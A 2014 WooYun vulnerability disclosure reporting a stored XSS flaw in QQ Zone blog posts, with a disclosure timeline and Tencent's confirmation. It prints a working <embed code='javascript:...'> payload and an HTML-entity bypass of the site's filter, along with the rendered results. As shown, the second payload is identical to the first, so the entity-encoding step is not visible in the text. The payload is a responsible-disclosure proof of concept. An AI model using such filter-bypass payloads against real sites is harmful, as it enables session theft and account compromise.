[公开漏洞]QQ空间日志存储型XSS
-
来源:WooYun 浏览:457次 时间:2014-06-25
QQ空间日志存储型XSS
相关厂商:
腾讯
漏洞作者:mramydnei
提交时间:2014-05-10 15:58
公开时间:2014-06-24 15:59
漏洞类型:xss跨站脚本攻击
危害等级:中
自评Rank:10
漏洞状态:
厂商已经确认
漏洞来源:http://www.wooyun.org
Tags标签:
存储型xss
漏洞详情
披露状态:
2014-05-10:细节已通知厂商并且等待厂商处理中
2014-05-12:厂商已经确认,细节仅向厂商公开
2014-05-22:细节向核心白帽子及相关领域专家公开
2014-06-01:细节向普通白帽子公开
2014-06-11:细节向实习白帽子公开
2014-06-24:细节向公众公开
难得有时间,再来一发
详细说明:对日志内容过滤不严格导致可植入恶意代码。
测试1:
<embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">
结果1:
<div>a<embed code="#" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">z<br/>
<br/>
<br/>
</div>
和邮箱的那个有点类似,只不过一个是src一个是code。
继续将“:”换成HTML实体编码。测试2:
<embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">
成功绕过,结果2:
<div>a<embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">z<br/>
<br/>
<br/>
</div>
该XSS Vector在Opera和Safari下有效。
测试于Opera21.0和Safari7.0.3
完善过滤规则
版权声明:转载请注明来源 mramydnei@乌云 漏洞回应 厂商回应:危害等级:中
漏洞Rank:10
确认时间:2014-05-12 10:52
厂商回复:非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
最新状态:暂无
上一篇: 中国知网主站存在SQL注射漏洞下载
下一篇: 91某业务站点存在文件包含漏洞下载